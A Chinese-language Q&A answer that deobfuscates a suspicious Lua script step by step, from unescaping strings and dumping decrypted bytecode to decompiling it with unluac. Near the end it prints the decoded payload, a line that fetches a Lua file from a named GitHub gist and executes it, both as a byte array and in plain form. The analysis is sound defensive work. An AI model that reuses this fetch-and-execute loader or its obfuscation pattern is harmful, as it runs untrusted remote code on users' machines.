我尝试了很多方法。但我觉得我的经验还不够。结果是否定的。

  1. 添加适当的换行符
  2. 用较短的变量名替换疯狂的变量名
  3. 将
    '\115\116\114\105\110\103'
    之类的东西转义为
    'string'
  4. 继续下去，直到你意识到以 
    _ENV[_ENV[
    开头的东西最终变成了 
    load
    （顺便说一句，
    nau
    和 
    tolan
    是未使用的诱饵）
  5. 注意这是一个非常简单的解密函数，它在巨大的数字表上运行，然后 
    load
    s 结果
  6. 修改解密函数打印结果而不是加载它
  7. 注意这样做的结果是 Lua 5.4 字节码
  8. 在所述字节码上运行unluac

如果你一直在跟进，你会从 unluac 中得到这个（为简洁起见省略了换行符）：

pcall(load(string.char(table.unpack({ 108, 111, 97, 100, 40, 114, 101, 113, 117, 101, 115, 116, 32, 40, 34, 71, 69, 84, 34, 44, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 115, 116, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 98, 114, 101, 119, 100, 101, 114, 115, 47, 101, 57, 99, 54, 97, 100, 56, 54, 97, 100, 49, 52, 56, 97, 51, 98, 101, 54, 57, 97, 97, 98, 49, 102, 51, 100, 53, 101, 97, 101, 99, 57, 47, 114, 97, 119, 47, 101, 50, 48, 49, 52, 56, 54, 56, 55, 53, 51, 52, 53, 100, 51, 52, 53, 54, 52, 50, 102, 51, 52, 53, 100, 55, 50, 99, 102, 50, 52, 52, 56, 48, 50, 57, 52, 55, 50, 51, 47, 68, 70, 98, 114, 101, 119, 46, 108, 117, 97, 34, 41, 41, 32, 40, 41}))))

现在反转

string.char
和
table.unpack
看看它到底在做什么：

load(request ("GET", "https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua")) ()

So https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua (prettier at https://gist.github.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9#file-dfbrew-lua)有它真正在做的事情，它终于没有被混淆了。 （在撰写此答案时，sha256 为 7de86710d2e66b6ef3b7e1a772d8d80c550b7a309925320e3296ffd333988e6d；一些档案/镜像：1 2 3 4）

如果你想知道这种混淆是如何发生的，这个字符串存在于字节码中，它应该给你一个提示：

C:\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\obfuscated\enc.lua
